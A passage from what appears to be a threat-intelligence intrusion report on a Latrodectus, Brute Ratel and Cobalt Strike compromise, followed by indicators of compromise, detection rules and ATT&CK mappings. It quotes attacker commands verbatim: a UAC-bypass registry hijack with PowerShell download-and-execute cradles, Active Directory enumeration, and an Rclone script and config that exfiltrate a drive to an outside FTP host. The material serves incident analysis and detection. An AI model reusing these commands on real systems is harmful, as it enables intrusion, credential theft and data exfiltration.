account with elevated token permissions. UAC Bypass The Cobalt Strike sys.dll implant executed on the beachhead host initiated a UAC bypass using the elevate uac-token-duplication technique, a well-documented registry hijacking method first observed in 2017. This technique exploits the UAC token duplication vulnerability, allowing the Cobalt Strike implant to execute arbitrary code with privileges stolen from elevated processes, successfully achieving privilege escalation without user interaction. Initial registry modifications hijacked the ms-settings protocol handler to redirect Windows Settings calls to malicious PowerShell commands: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" Privilege escalation occurred through execution of ComputerDefaults.exe, a trusted Windows binary that queries the hijacked ms-settings protocol with elevated privileges. With the elevated token duplicated from ComputerDefaults.exe, multiple PowerShell instances were executed to establish communication with the Cobalt Strike listener, indicating token rights restrictions requiring different execution approaches: "cmd.exe" /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile Process Injection The most common evasion technique that the threat actor utilized was process injection. During its execution, the Brute Ratel loader upfilles.dll launched the final stage of the Latrodectus malware inside the explorer’s memory. From the fourth day onward, the threat actor expanded their tooling and heavily utilized both Brute Ratel and Cobalt Strike for process injection. Using the Sysmon eventID 8, CreateRemoteThread, multiple instances of process injection were identified for both long-term and short-term sacrificial processes. After further investigating the process memory, YARA rules confirmed also the injection of Cobalt Strike beacons into multiple legitimate processes, such as spoolsv.exe. File Deletion Τhe threat actor also deleted files after using them, to cover their tracks and make the investigation more challenging. Specifically, they deleted more than half of the files and tools that had been downloaded on the compromised hosts. Latrodectus Stealer Module Using command ID 21, the Latrodectus-injected explorer.exe process downloaded the stealer module file fxrm_vn_9.557302425.bin from the C2 server. Analysis revealed that the stealer lacks functionality to decrypt cookies from current Chrome versions, suggesting the threat actor may not have updated their stealer module to accommodate recent browser security enhancements. The stealer had the hardcoded time of when the stealer module was built – 00:39:18 Mar 29 2024. Similar to the Latrodectus loader component, the stealer module dynamically resolved Windows APIs by iterating through the Process Environment Block (PEB) InLoadOrderModuleList, computing CRC32 hashes for each loaded module name, and comparing results against target hash values. The stealer was capable of harvesting credentials from 29+ Chromium-based browsers, including Google Chrome, Microsoft Edge, Yandex Browser, Vivaldi, Comodo Dragon, Orbitum, Epic Privacy Browser, and other variants. Firefox receives separate handling through profile enumeration targeting cookies.sqlite database files. During its execution, it extracted email credentials from Microsoft Outlook configurations across Office versions 11.0-17.0 by querying Windows registry keys. The stealer is also capable of harvesting server configurations including SMTP, POP3, IMAP, and NNTP server addresses, port numbers, usernames, and encrypted passwords. Additionally, it targeted the registry path HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles to extract legacy email configurations from older Windows Mail, Outlook Express, and MAPI profiles that may contain additional cached credentials. Internet Explorer credentials were obtained through COM interface manipulation, accessing the IntelliForms Storage2 system. The collected data is organized into distinct sections with the below headers: - cr_pass for Chrome passwords - ff_pass for Firefox data - ie_pass for Internet Explorer credentials - edge_pass for Edge data - outlook_pass for email configurations - _cookie variants for session data. Each section contains structured entries with pipe-delimited fields. The complete dataset undergoes base64-encoding. The stealer then creates a shared memory region named 12345 and stores a pointer to the encoded data, which could allow other processes to access the collected information. Answer File Access Backconnect was used by the threat actor early in the campaign (day three) to list directories on the beachhead. After listing files in directories, the threat actor focused their attention on the file unattend.xml, an answer file. Answer files are used to control the configuration of Windows while setting it up from an image. One of the components of answer files is called Microsoft-Windows-UnattendedJoin which allows admins to easily domain join devices during setup, this is done by supplying plain text credentials (username and password) in the unattend.xml file. The threat actor collected the file via Backconnect (using the GET C:\Unattend.xml command) and was able to access the plain-text domain admin credentials stored in the file. LSASS Access The threat actor utilized their elevated user permissions to access the LSASS process on multiple devices in the environment. All instances of LSASS access followed the same pattern, the access was initiated by an injected process (either runonce.exe or gpupdate.exe) with a process requesting 0x1010 permissions and another instance of the same process requesting 0x1fffff seconds later. This cycle repeated three times in total during the intrusion, each time facilitated via a Cobalt Strike beacon process. Veeam-Get-Creds On day 26 of the intrusion, the threat actor ran the Veeam-Get-Creds.ps1 script from the injected spoolsv.exe process: powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADQAMAAwADMALwAnACkAOwAgAFYAZQBlAGEAbQAtAEcAZQB0AC0AQwByAGUAZABzAC4AcABzADEA which decoded to: IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:24003/'); Veeam-Get-Creds.ps1 This technique has been previously observed by ransomware groups such as Noberus and Vice Society. It typically indicates the threat actor is targeting backup systems for destruction or virtualization infrastructure for encryption (commonly protected by Veeam backup solutions). The Veeam-Get-Creds.ps1 script is publicly available on GitHub. Upon executing the script, the threat actor would have obtained any plaintext usernames and passwords stored in the Veeam Credential Manager. These credentials are typically used to authenticate to remote systems for backup operations. Although in this intrusion, this execution was one of the final actions taken by the threat actor. Approximately one hour after Latrodectus was injected into explorer.exe, it began executing the following discovery commands on the beachhead host. ipconfig /all systeminfo nltest /domain_trusts nltest /domain_trusts /all_trusts net view /all /domain net view /all net group "Domain Admins" /domain net config workstation wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed whoami /groups Process activity related to discovery then went quiet until on day four, the injected Cobalt Strike beacon used systeminfo to query for system information. The threat actor then executed DISK command via BackConnect to query disk information. The Cobalt Strike injected processes then executed reconnaissance commands and leveraged AdFind for Active Directory enumeration activities: systeminfo nltest /dclist:domain.local net view REDACTED net user REDACTED /domain dir \\REDACTED\C$ net group "domain admins" /domain dsquery subnet nltest /domain_trusts nltest /dsgetdc:domain.local wmic /node:REDACTED logicaldisk list brief AdFind Active Directory Enumeration: adfind.exe -f "(objectcategory=person)" >> ad_users.txt adfind.exe -f "objectcategory=computer" >> ad_computers.txt%W adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt adfind.exe -subnets -f (objectCategory=subnet)> ad_subnets.txt adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt adfind.exe -f "&(objectCategory=computer)(operatingSystem=*server*)" -csv > ad_servers.csv Continued Discovery and Network Testing: net view REDACTED ping -n 1 REDACTED type "\\REDACTED\C$\REDACTED\REDACTED.bat" The threat actor then tried to move AdFind outputs, but appeared to struggle based on the commands observed: C:\PerfLogs\*.* %ALLUSERSPROFILE%\ move %ALLUSERSPROFILE%\ad_users.txt C:\REDACTED\ move C:\REDACTED\ad_users.txt %PUBLIC%\ While this was happening, they continued to issue more discovery commands and attempted to organize their AdFind output: net view REDACTED wmic /node:REDACTED logicaldisk list brief %WINDIR%\system32\cmd.exe /C ping -n 1 REDACTED move %USERPROFILE%\ad_users.txt %USERPROFILE%\Pictures\ attrib %USERPROFILE%\Pictures\ad_users.txt The actor then expanded their reconnaissance to include DNS information while simultaneously troubleshooting file access issues on their collected data: dnscmd /zoneprint domain.local netdom query SERVER >> serv.log attrib -a -s -h -r /s %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\*.* attrib -a +s +h -r /s %USERPROFILE%\Pictures\ad_users.txt Minutes later, the compromised explorer.exe process spawned DllHost.exe, indicating resumption of the BackConnect VNC activity observed previously. The DllHost.exe process subsequently executed a Windows shell command to open the “This PC” interface on the beachhead host: cmd.exe /c start "" C:\Windows\explorer.exe shell:mycomputerfolder The session was then leveraged to attempt to view the AdFind results: "C:\Windows\system32\NOTEPAD.EXE" "C:\Users\ \Pictures\ad_users.txt" The threat actor continued to encounter file permission issues, preventing them from accessing their own data. They attempted to resolve this by first setting the local user as the file owner, then switching to the domain account as owner, and when both ownership changes failed to provide adequate access, they finally used the /reset command to restore default permissions: icacls C:\Users\ \Pictures\ad_users.txt /setowner " " /T /C icacls C:\Users\ \Pictures\ad_users.txt /setowner " \ " /T /C icacls "C:\Users\ \Pictures\ad_users.txt" /reset /T After running the Cobalt Strike beacons laterally on several hosts, the threat actor conducted remote user enumeration across domain systems using the following command from the beachhead host: quser The threat actor utilized the PowerView module Invoke-ShareFinder twice during the intrusion. IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:49157/'); Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt Approximately 45 minutes following the Metasploit shell deployment attempt on the second domain controller, the threat actor initiated an additional round of AdFind reconnaissance from the beachhead host: AdFind.exe -b dc=domain,dc=local -f (objectcategory=person) > adflogs\domain.local_ad_users.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=computer) > adflogs\domain.local_ad_computers.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=organizationalUnit) > adflogs\domain.local_ad_ous.txt AdFind.exe dc=domain,dc=local -subnets -f (objectcategory=subnet) > adflogs\domain.local_ad_subnets.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=group) > adflogs\domain.local_ad_group.txt Although the threat actor attempted to compress the collected data, forensic analysis did not identify any created zip archives on the system. "7z.exe" a -mx1 -r0 adflogs.zip adflogs The threat actor returned 28 days after the initial access to run a final round of network scanning discovery. Operating from a backup server, the threat actor deployed the rustscan tool through the Cobalt Strike-injected spoolsv.exe process, first running rustscan with the help flag. The threat actor then began scanning various /16 and /8 network blocks for SMB services. rustscan.exe -a REDACTED/16 -p 445 --no-nmap rustscan.exe -a REDACTED/16 -p 445 rustscan.exe -a REDACTED/8 -p 445 "nmap -vvv -p 445 REDACTED" WMI Remoting Although the threat actor ran discovery commands just under an hour from the initial access, the first lateral movement attempt came three days into the intrusion when the threat actor attempted to execute the system.dl_ Cobalt Strike beacon on a domain controller via WMIC remote execution. This execution was not successful as it was not observed on the domain controller. Remote Services After the failed lateral movement attempt via WMIC, the threat actor pivoted to PsExec. The initial PsExec command also failed since the threat actor forgot to include the accepteula flag. After fixing the forgotten EULA mistake, they were able to successfully execute system.dl_ on the domain controller via rundll32. The threat actor then proceeded to execute the same command on a file share server and backup server minutes after the domain controller execution. Six hours after this initial lateral movement activity, the threat actor deployed and executed the zero.exe payload from C:\ProgramData on the beachhead. This payload, delivered via BackConnect session, was a custom implementation of the Zerologon vulnerability (CVE-2020-1472) exploit with capabilities for credential harvesting and remote code execution. During the intrusion the threat actor used zero.exe to move laterally between devices in the network. The executable was executed on the beachhead host and targeted a second domain controller, overall it was executed eight different times with a different username being used every execution. The execution used remote services to run code on lateral hosts. After the completion of the zero.exe executions, the threat actor attempted to establish a Metasploit reverse shell connection via a remote service on the same domain controller, to the C2 server at 217.196.98[.]61:4444. RDP RDP was another Windows native tool used by the threat actor for lateral movment. The threat actor had extracted domain admin credentials as discussed in the Credential Access section, these credentials were used by the threat actor to login to two servers in the environment from the beachhead device via RDP, giving them interactive admin access to both devices. While the logins originated from the beachhead host the threat actor leaked their source hostname during the authentication process. VPS2DAY-32220LE The threat actor’s hostname implies that the infrastructure used by them was provided via a German hosting company VPS2DAY, which seems to be operating under the name Servinga since the vps2day domain redirects to Servinga. Latrodectus/Backconnect The malware used to gain the initial foothold in the host was a Latrodectus Javascript file. The aforementioned file has been associated with high confidence to the Russian threat actor LUNAR SPIDER by Eclecticiq. It is important to note that although the sample contained only two domains, the injected explorer.exe communicated with three additional C2 servers. After further investigating the explorer’s memory, the following HTTPS request was identified towards one of the new domains: Upon decrypting the encrypted traffic sent by Latrodectus to the C2, the following information was identified: One extra functionality observed from the Latrodectus malware was Command and Control communication using the Backconnect protocol. More specifically, connections from explorer.exe and dllhost.exe were performed toward two different IP addresses. Additionally, these IP’s have been categorized with moderate confidence related to IcedId Backconnect, which commonly shares infrastructure with Latrodectus. Connections to the first IP started during the first day and then swapped to the second IP on the fifth day. As it was previously mentioned, utilizing Backconnect, various tasks were performed, such as browsing the file system, reading files, and uploading malware on the infected hosts. Brute Ratel The MSI file downloaded by the malicious Javascript contained a Brute Ratel DLL (upfilles.dll) that started C2 communication to a series of remote hosts. Of note is the use of the Tyk.io service which we have covered in prior reports. On the fifth day, the threat actor deployed a second Brute Ratel badger, named wscadminui.dll, which communicated with the following domains: Lsassa Lsassa.exe was a .NET malware that was deployed on the fourth day. It attempted to communicate with its C2 server every 250 seconds. Additionally, each POST request contained the hostname of the infected workstation and the username of the compromised user, which were sent to the server. Metasploit The psexec Metasploit module was utilized by the threat actor in order to perform lateral movement. During the analysis of the Metasploit shellcode, it was identified that it utilized the IP 217.196.98.61 to perform C2 communication. Although the Metasploit shellcode was executed, it was unable to establish a successful Command and Control connection, and the server rejected the connection. Cobalt Strike The final Command and Control tool used was Cobalt Strike. In the C2 communication, both HTTPS and HTTP traffic were detected: To summarize the Command and Control activity and showcase its intensity over time, the following graphs were made: Beaconing with Cobalt Strike Beaconing without Cobalt Strike Rclone From a Cobalt Strike beacon on a file share server, the threat actor dropped a data exfiltration toolkit in the ProgramData directory. This included a VBScript launcher (start.vbs), batch automation script (run.bat), renamed Rclone (sihosts.exe), and Rclone configuration file (rclone.conf). This toolkit automated the theft of sensitive data by syncing it to threat actor-controlled cloud storage using the legitimate Rclone utility. Content of run.bat: C:\programdata\sihosts.exe copy "E:" ftp:REDACTED\ \E -q --exclude "*.{ai,bin,blf,bmp,cab,cat,cdf-ms,cdp,cfs,DAT,DAT*,DATA,db,db-shm,db-wal,dbg,dll,download,dwg,dxf,exe,*exe,feedsdb-ms,ico,idea,idx,indd,inf,ini,iso,jcp,jfm,jrs,js,json,jtx,lck,lnk,log,LOG*,LOG1,LOG2,lst,manifest,msi,nak,nvram,ost,pma,png,psd,pwd,rar,regtrans-ms,search-ms,searchconnector-ms,sys,tbacc*,tbres,toc,uca,val,vmdk,vmsd,vmx,vmxf,vol,vswp,wpl,zip}" --inplace --ignore-existing --auto-confirm --multi-thread-streams 45 --transfers 45 --min-size 1k --max-age 90M The threat actor dropped the Rclone configuration file (rclone.conf) twice on the file share server in quick succession. The first rclone.conf file creation occurred three minutes before the second one, with two executions occurring between them, hinting that there may have been a mistake in the first config file dropped by the threat actor. The first execution had a syntax error with specifying the drive to exfiltrate files from (threat actor added an extra colon to the drive), and the second execution showed that the threat actor had initially dropped the config file with an incorrect username added to it. The FTP traffic shows that the username used was J0eBidenAbrabdy1aS3ha2 when it should have been J0eBidenAbrabdy1aS3ha2Yeami which was the username found in the rclone.conf file found on the infected device (the same password was used in both executions). [ftp] type = ftp host = 45.135.232.3 user = J0eBidenAbrabdy1aS3ha2Yeami #port = 21 pass = #tls = false Exfiltration activity took place over 9 hours and 46 minutes. As discussed in the Exfiltration section, on the twentieth day, the threat actor successfully performed data exfiltration. Despite that, no further final actions on objectives were performed until they were evicted from the network. Atomic RDP Client Name VPS2DAY-32220LE Rclone configuration host: 45.135.232.3 user: J0eBidenAbrabdy1aS3ha2Yeami user: J0eBidenAbrabdy1aS3ha2 Latrodectus Domains workspacin[.]cloud illoskanawer[.]com grasmetral[.]com jarkaairbo[.]com scupolasta[.]store Backconnect IP Addresses 185.93.221.12 193.168.143.196 Lsassa Backdoor Domain cloudmeri[.]com Lsassa Backdoor IP Addresses 162.0.209.121 Brute Ratel Domains anikvan[.]com altynbe[.]com boriz400[.]com ridiculous-breakpoint-gw[.]aws-use1[.]cloud-ara[.]tyk[.]io uncertain-kitten-gw[.]aws-euc1[.]cloud-ara[.]tyk[.]io erbolsan[.]com samderat200[.]com dauled[.]com kasymdev[.]com kasym500[.]com Brute Ratel IP Addresses 95.164.68.73 138.124.183.215 91.194.11.183 94.232.249.100 94.131.108.254 94.232.249.108 45.150.65.85 195.123.225.161 195.211.98.249 195.123.225.251 Metasploit IP Addresses 217.196.98.61 Cobalt Strike Domains avtechupdate[.]com Cobalt Strike IP Addresses 206.206.123.209 45.129.199.214 31.13.248.153 Latrodectus Configuration Config: { "Version": "1.3", "Direction": "4", "C2s": [ "hxxps://workspacin[.]cloud/live/", "hxxps://illoskanawer[.]com/live/" ], "RC4": "xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8", "GroupID": "2221766521", "CampaignID": "Electrol" } Decrypted Strings: { "pid": "%d", "proc": "%s", "subproc": [ ] } &desklinks=[ *.* "%s" ] &proclist=[ { "pid": "%d", "proc": "%s", "subproc": [ ] } /c ipconfig /all C:\Windows\System32\cmd.exe /c systeminfo C:\Windows\System32\cmd.exe /c nltest /domain_trusts C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts C:\Windows\System32\cmd.exe /c net view /all /domain C:\Windows\System32\cmd.exe /c net view /all C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain C:\Windows\System32\cmd.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List C:\Windows\System32\wbem\wmic.exe /c net config workstation C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed C:\Windows\System32\cmd.exe /c whoami /groups C:\Windows\System32\cmd.exe &ipconfig= &systeminfo= &domain_trusts= &domain_trusts_all= &net_view_all_domain= &net_view_all= &net_group= &wmic= &net_config_ws= &net_wmic_av= &whoami_group= runnung front /files/ %d %s%s files/bp.dat %s\%d.dll %d.dat %s\%s init -zzzz="%s\%s" Electrol Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Content-Type: application/x-www-form-urlencoded POST GET CLEARURL URLS COMMAND ERROR xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ https://workspacin.cloud/live/ https://illoskanawer.com/live/ %s%d.dll %s%d.exe Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) <!DOCTYPE &mac= %02x :%02x ; &computername=%s &domain=%s C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s C:\WINDOWS\SYSTEM32\rundll32.exe %s 12345 &stiller= Cobalt Strike Beacon Configuration (system.dl_ | cron801.dl_) Version: 4.6 Socket: 80 Beacon Type: HTTP MaxGetSize: 2105681 URL: hxxp://45.129.199[.]214/vodeo/wg01ck01 Jitter: 49 Encryption Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGcLYJG9miEP3Lp+FqQ74n9HNbqI/s4ZE5fg0PHR7voXFnSWgDr1g9wmLgG5B5YMIPXZXzJlFUwEYSPam58mUqy+87onjq1rXP6Dx7DXqZQ+3b6ZvfCs+5jrfxcHXRp8XD03AYmyKETAAQXsJd8ipoTIexVlLLPsWXyH9xZ/KC1wIDAQAB (RSA) HttpPostUri: /vodeo/vid_wg01ck01 User Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 MalleableC2Instructions: Remove 4338 chars from the end, Remove 4183 chars from the begςinning, NetBIOS decode 'A', XOR mask w/ random key HTTPGetClient: mask, header Accept: application/xml, text/html, application/xhtml+xml HTTPPostClient: mask, mask, header Accept: text/html, application/xhtml+xml, application/json HTTPGet_Verb: GET HTTPPost_Verb: POST spawnto_x64: %windir%\sysnative\gpupdate.exe spawnto_x86: %windir%\syswow64\gpupdate.exe Proxy_Behavior: Use IE settings Watermark: 987654321 Jitter: 49 ProcessInject_MinAllocation: 19836 ProcessInject_AllocationMethod: NtMapViewOfSection Computed rustscan.exe 9eaa8464110883a15115b68ffa1ecf7d 5348970723b378c7cae35bb03d8736f8e5a9f0ac 37471af00673af4080ee21bd248536147e450d2eff45e8701a95d1163a9d62fe lsassa.exe 50abc42faa70062e20cd5e2a2e2b6633 97d72c8bbcf367be6bd5e80021e3bd3232ac309a 203eda879dbdb128259cd658b22c9c21c66cbcfa1e2f39879c73b4dafb84c592 run.bat c8ea31665553cbca19b22863eea6ca2c ba99cd73b74c64d6b1257b7db99814d1dc7d76b1 411dfb067a984a244ff0c41887d4a09fbbcd8d562550f5d32d58a6a6256bd7b2 start.vbs 4b3e9c9e018659d1cf04daf82abe3b64 333e1c5967a9a6c881c9573a3222bed6ada911c6 1a8ebf914ebea34402eecbf0985f05ae413663708d2fcc842fc27057ac5ec4ed sys.dll ad3c52316e0059c66bc1dd680cf9edad 8dfa63c0bb611e18c8331ed5b89decf433ac394a 100e03eb4e9dcdab6e06b2b26f800d47a21d338885f5dc1b42c56a32429c9168 Cobalt Strike system.dl_ or cron801.dl_ 495363b0262b62dfc38d7bfb7b5541aa 2d92890374904b49d3c54314d02b952e1a714e99 77eede38abdc740f000596e374b6842902653aeafb6c63011388ebb22ec13e28 BruteRatel upfilles.dll ccb6d3cb020f56758622911ddd2f1fcb 4a013f752c2bf84ca37e418175e0d9b6f61f636d f4cb6b684ea097f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de BruteRatel wscadminui.dll d7bd590b6c660716277383aa23cb0aa9 38999890b3a2c743e0abea1122649082a5fa1281 6c3b2490e99cd8397fb79d84a5638c1a0c4edb516a4b0047aa70b5811483db8f zero.exe 91889658f1c8e1462f06f019b842f109 33a6b39fbe8ec45afab14af88fd6fa8e96885bf1 36bc32becf287402bf0e9c918de22d886a74c501a33aa08dcb9be2f222fa6e24 c356468.exe A2B6479A69B51AE555F695B243E4FDA1 23FFF588E3E5CC6678E1F77FAB9318D60F3AC55F 8FB5034AEDF41F8C8C4C4022FDDE7DB3C70A5A7C7B5B4DEC7F6A57715C18A5BF Network ET MALWARE Windows dir Microsoft Windows DOS prompt command exit OUTBOUND ET MALWARE Windows Microsoft Windows DOS prompt command Error not recognized ET POLICY Observed MSI Download ThreatFox IcedID botnet C2 traffic (ip:port - confidence level: 60%) ThreatFox Unidentified 111 (Latrodectus) botnet C2 traffic (ip:port - confidence level: 75%) ThreatFox botnet C2 traffic (domain - confidence level: 100%) ET HUNTING ZIP file exfiltration over raw TCP ET DROP Spamhaus DROP Listed Traffic Inbound group 5 ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check Sigma Search rules on detection.fyi or sigmasearchengine.com DFIR Private Rules: 67eb826d-7745-416c-9674-525ef0dc7610 : Launching VNC Interactive Session e652d235-b994-432e-b2f3-15a9cee381df : Domain Enumeration Using Netdom Query f8a8998f-dfe9-4942-812c-f4e591653ced : MS-Settings Shell Command Hijacking 1f959fda-4c54-4dad-9bca-4a5a65529772 : MSI Payload Executing Suspicious DLL Through Rundll32 a566b9e8-0a5c-4128-b499-c7632915d5e2 : Suspicious Type Command Over Administrative Share c42e8603-0311-4e4e-8923-4c1e8be9d78d : Suspicious Computer Machine Password Reset 1b8ad6a1-35c3-4400-9678-e7d3e3b0acfd : DNS data export using dnscmd.exe b326e9ad-0d9b-43bf-8bd0-9620839c6f6b : Veeam Backup Credential Theft Detection Sigma Repo: d522eca2-2973-4391-a3e0-ef0374321dae : Abused Debug Privilege by Arbitrary Parent Processes d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 : CobaltStrike Named Pipe Patterns 7b434893-c57d-4f41-908d-6a17bf1ae98f : Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location 08249dc0-a28d-4555-8ba5-9255a198e08c : Outbound Network Connection Initiated By Script Interpreter ed74fe75-7594-4b4b-ae38-e38e3fd2eb23 : Outbound RDP Connections Over Non-Standard Tools 85b0b087-eddf-4a2b-b033-d771fa2b9775 : PowerShell Download and Execution Cradles 3dfd06d2-eaf4-4532-9555-68aca59f57c4 : Process Execution From A Potentially Suspicious Folder 8834e2f7-6b4b-4f09-8906-d2276470ee23 : PsExec/PAExec Escalation to LOCAL SYSTEM 9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution df55196f-f105-44d3-a675-e9dfb6cc2f2b : Renamed AdFind Execution 5bb68627-3198-40ca-b458-49f973db8752 : Rundll32 Execution Without Parameters 152f3630-77c1-4284-bcc0-4cc68ab2f6e7 : Shell Open Registry Keys Manipulation 3b6ab547-8ec2-4991-b9d2-2b06702a48d7 : Suspicious PowerShell Download and Execute Pattern 3c89a1e8-0fba-449e-8f1b-8409d6267ec8 : Suspicious Process Created Via Wmic.EXE 5cc2cda8-f261-4d88-a2de-e9e193c86716 : Suspicious Processes Spawned by WinRM dcdbc940-0bff-46b2-95f3-2d73f848e33b : Suspicious Spool Service Child Process 2617e7ed-adb7-40ba-b0f3-8f9945fe6c09 : Suspicious SYSTEM User Process Creation 1277f594-a7d1-4f28-a2d3-73af5cbeab43 : Windows Shell/Scripting Application File Write to Suspicious Folder Yara New Rules: https://github.com/The-DFIR-Report/Yara-Rules/blob/main/28761/28761.yar 61b951e4-0c27-59c0-8ea2-715b673fdcee : CAPE_Bruteratel 5ae680b0-5ad2-5e82-87f8-b0af4fec18de : CAPE_Bruteratelconfig 0ddc3e0a-c4ca-5342-b029-107ce1f2751e : CAPE_Bruteratelsyscall 956b6736-b3ef-5974-b3dd-02d04336dbe8 : CAPE_Latrodectus_1 6bd6fbb4-6634-5b51-90f0-f24e48d69043 : EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt 2e0925bc-6929-57fd-a204-d14352ab043b : MALPEDIA_Win_Brute_Ratel_C4_Auto 1adbbac8-6bfc-5d06-9cad-1cba809f72a0 : MALPEDIA_Win_Cobalt_Strike_Auto 02322cd8-96f0-5b56-94f1-88df3945f27c : MALPEDIA_Win_Latrodectus_Auto 042a598d-66fa-4994-a793-228355abd5dd : SEKOIA_Latrodectus_Br4_Js_Dropper 29076cf5-f391-42f2-918f-e1c929bd368d : SEKOIA_Latrodectus_Exports d5b53d68-55f9-5837-9b0c-e7be2f3bd072 : SIGNATURE_BASE_Cobaltstrike_Sleep_Decoder_Indicator 63b71eef-0af5-5765-b957-ccdc9dde053b : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_4_2_Decrypt af558aa2-a3dc-5a7a-bc74-42bb2246091c : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_Strings d396ab0e-b584-5a7c-8627-5f318a20f9dd : SIGNATURE_BASE_HKTL_Cobaltstrike_Sleepmask_Jul22 a7dae4c7-672e-58fb-8542-90fa90d991a4 : TRELLIX_ARC_MALW_Cobaltrike 113ba304-261f-5c59-bc56-57515c239b6d : VOLEXITY_Trojan_Win_Cobaltstrike 4110d879-8d36-4004-858d-e62400948920 : Windows_Trojan_BruteRatel_4110d879 5b12cbab-c64c-4895-a186-b940bf4a8620 : Windows_Trojan_BruteRatel_5b12cbab 644ac114-cc66-443e-9dd0-a591be99a86c : Windows_Trojan_BruteRatel_644ac114 3dc22d14-a2f4-49cd-a3a8-3f071eddf028 : Windows_Trojan_CobaltStrike_3dc22d14 663fc95d-2472-4d52-ad75-c5d86cfc885f : Windows_Trojan_CobaltStrike_663fc95d 8d5963a2-54a9-4705-9f34-0d5f8e6345a2 : Windows_Trojan_CobaltStrike_8d5963a2 b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca : Windows_Trojan_CobaltStrike_b54b94ac 841ff697-f389-497a-b813-3b9e19cba26e : Windows_Trojan_Latrodectus_841ff697 Access Token Manipulation - T1134 Archive via Utility - T1560.001 Bypass User Account Control - T1548.002 Credentials from Web Browsers - T1555.003 Credentials In Files - T1552.001 Domain Accounts - T1078.002 Domain Account - T1087.002 Domain Groups - T1069.002 Domain Trust Discovery - T1482 Drive-by Compromise - T1189 Encrypted/Encoded File - T1027.013 Exfiltration Over Alternative Protocol - T1048 Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003 Exploitation of Remote Services - T1210 File and Directory Discovery - T1083 File Deletion - T1070.004 Ingress Tool Transfer - T1105 JavaScript - T1059.007 Junk Code Insertion - T1027.016 Lateral Tool Transfer - T1570 Local Account - T1087.001 Local Groups - T1069.001 LSASS Memory - T1003.001 Malicious File - T1204.002 Masquerading - T1036 Network Service Discovery - T1046 Network Share Discovery - T1135 Non-Standard Port - T1571 PowerShell - T1059.001 Process Injection - T1055 Registry Run Keys / Startup Folder - T1547.001 Remote Desktop Protocol - T1021.001 Remote System Discovery - T1018 Rundll32 - T1218.011 Scheduled Task - T1053.005 Security Software Discovery - T1518.001 Service Execution - T1569.002 SMB/Windows Admin Shares - T1021.002 System Information Discovery - T1082 System Owner/User Discovery - T1033 Web Protocols - T1071.001 Windows Command Shell - T1059.003 Windows File and Directory Permissions Modification - T1222.001 Windows Management Instrumentation - T1047 Internal case #PR37865 #TB28761
